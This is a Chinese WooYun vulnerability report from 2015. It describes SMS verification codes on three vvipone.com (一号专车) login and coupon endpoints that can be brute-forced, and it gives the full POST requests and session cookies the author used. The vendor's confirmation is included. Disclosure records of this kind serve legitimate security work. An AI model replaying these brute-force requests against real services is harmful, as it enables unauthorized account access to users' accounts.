当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0114757

漏洞标题：一号专车多处验证码存在逻辑权限(可爆破)

相关厂商：一号专车

漏洞作者： ❤

提交时间：2015-05-28 11:32

修复时间：2015-07-12 22:54

公开时间：2015-07-12 22:54

漏洞类型：网络设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-28： 细节已通知厂商并且等待厂商处理中
2015-05-28： 厂商已经确认，细节仅向厂商公开
2015-06-07： 细节向核心白帽子及相关领域专家公开
2015-06-17： 细节向普通白帽子公开
2015-06-27： 细节向实习白帽子公开
2015-07-12： 细节向公众公开

简要描述：

*

详细说明：

0x01
登录地址:http://redpocket.vvipone.com/campaign/dianrong/dianRongLogin.html
获取完验证码然后直接爆破

POST /campaign/dianrong/signInUp.html HTTP/1.1
Host: redpocket.vvipone.com
Proxy-Connection: keep-alive
Content-Length: 30
Accept: */*
Origin: http://redpocket.vvipone.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://redpocket.vvipone.com/campaign/dianrong/dianRongLogin.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=A2760171C30B34774D7DFD5708E416DD; campaign_sid_token=1BhRMEkBEyJ1QQ511431922453; CNZZDATA1254899576=1312352969-1431917312-%7C1431917312
phone=手机号&captcha=验证码


9999个验证码,分分钟跑完.

aa.png


0x02
地址：http://customer.vvipone.com/web-customer/coupon/onlyCodeIndex.html?onlyCode=ABFJL7
获取完验证码随意验证码登录爆破

POST /web-customer/coupon/onlyCodeExchange.html HTTP/1.1
Host: customer.vvipone.com
Proxy-Connection: Keep-Alive
Content-Length: 46
Accept: */*
Accept-Language: zh-CN
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko
X-Requested-With: XMLHttpRequest
Referer: http://customer.vvipone.com/web-customer/coupon/onlyCodeIndex.html?onlyCode=ABFJL7
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=A46F47C646360C3DEF4CE248E226F58C
onlyCode=ABFJL7&phone=手机号&captcha=验证码


bb.png


爆破成功
0x03
地址：http://m.vvipone.com/h5/driver/index.html
依旧获取验证码然后随意输入验证码爆破

POST /h5/driver/signInUp2.html HTTP/1.1
Host: m.vvipone.com
Proxy-Connection: keep-alive
Content-Length: 30
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://m.vvipone.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://m.vvipone.com/h5/driver/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=7AEA30C36632663F7D7A0702641B1BE6; CNZZDATA1253182018=1098670183-1431919192-%7C1431919192; Hm_lvt_91a7b876572b3b4bdfc5c3b662f3fb3e=1431659204,1431670603,1431670609,1431923043; Hm_lpvt_91a7b876572b3b4bdfc5c3b662f3fb3e=1431923043; CNZZDATA1254630600=106596312-1431922808-%7C1431922808
phone=手机号&captcha=验证码


cc.png


依然很快就爆到验证码。

漏洞证明：

RT

修复方案：

我看前面有人提交类似的了，但是你们只做了主站的限制，其他的几个没有做限制。

版权声明：转载请注明来源 ❤@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-05-28 18:00

厂商回复：

感谢提交

最新状态：

暂无